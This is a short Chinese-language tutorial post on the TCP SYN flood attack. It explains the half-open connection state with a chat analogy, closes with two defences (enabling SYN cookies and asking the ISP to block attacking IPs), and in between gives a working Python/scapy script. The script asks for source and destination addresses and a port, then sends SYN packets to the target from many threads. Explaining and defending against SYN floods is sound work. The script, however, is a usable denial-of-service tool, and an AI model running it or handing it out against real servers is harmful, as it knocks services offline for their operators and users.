在通过tcp协议,client端和server端建连的过程中,client端首先向服务端发送一个flag为syn的tcp包。好比大家通过qq聊天时先问,美女在不?妹子收到这个包之后就会恢复,我在的,你在不在?也就是一个ack+syn包。这个时候,如果我们不回妹子,妹子就会很郁闷,过会妹子又会问,我在的,你在不在?也就是再发一个ack+syn包,若果我们继续不回,过段时间之后,妹子就会关掉这个聊天窗口,对于服务器来说,服务器会回收掉这个socket。如果有妹子的好多好友突然疯狂的发送,美女在不在,当这样的包太多的时候,就会干扰妹子正常的qq聊天,如果妹子的电脑性能不佳,妹子就不得不关闭qq或者是关机了。
对服务器而言,维护这样一种syn-received的链接状态,需要耗费一定的内存和cpu资源。当这种连接数数以万计或者更多的时候,服务器不得不花费大量的资源来处理这些资源,有时候在服务器上执行netstat都会卡死,用ss -s的话很快。
测试代码:
#!/usr/bin/python
from random import randint
from scapy.all import *
import threading
class Settings(object):
def __init__(self):
self.src_addr=raw_input("enter src ip address:").strip()
self.dst_addr=raw_input("enter dst ip address:").strip()
self.dport=int(raw_input("enter dst port:"))
self.tcp_flags='S'
class Packet(object):
def __init__(self,setting):
self.setting=setting
self.packet=(IP(src=self.setting.src_addr,dst=self.setting.dst_addr)/TCP(sport=randint(20000,50000),dport=self.setting.dport,flags=self.setting.tcp_flags))
def fire(bullets):
threads=[]
for packet in bullets:
threads.append(threading.Thread(target=sr1,args=(packet.packet),kwargs={'verbose':1,'timeout':5}))
for thread in threads:
thread.start()
for thread in threads:
thread.join()
print "Done"
def main():
setting=Settings()
nums=int(raw_input("enter num of threads:"))
bullets=[Packet(setting) for i in range(nums)]
fire(bullets)
main()
syn-flood的防御方法(自己只知道这么多.....):
(1)开启syncookie
在/etc/sysctl.conf配置文件中添加:net.ipv4.tcp_syncookies = 1,然后执行sysctl -p
(2)联系ISP对攻击IP进行封杀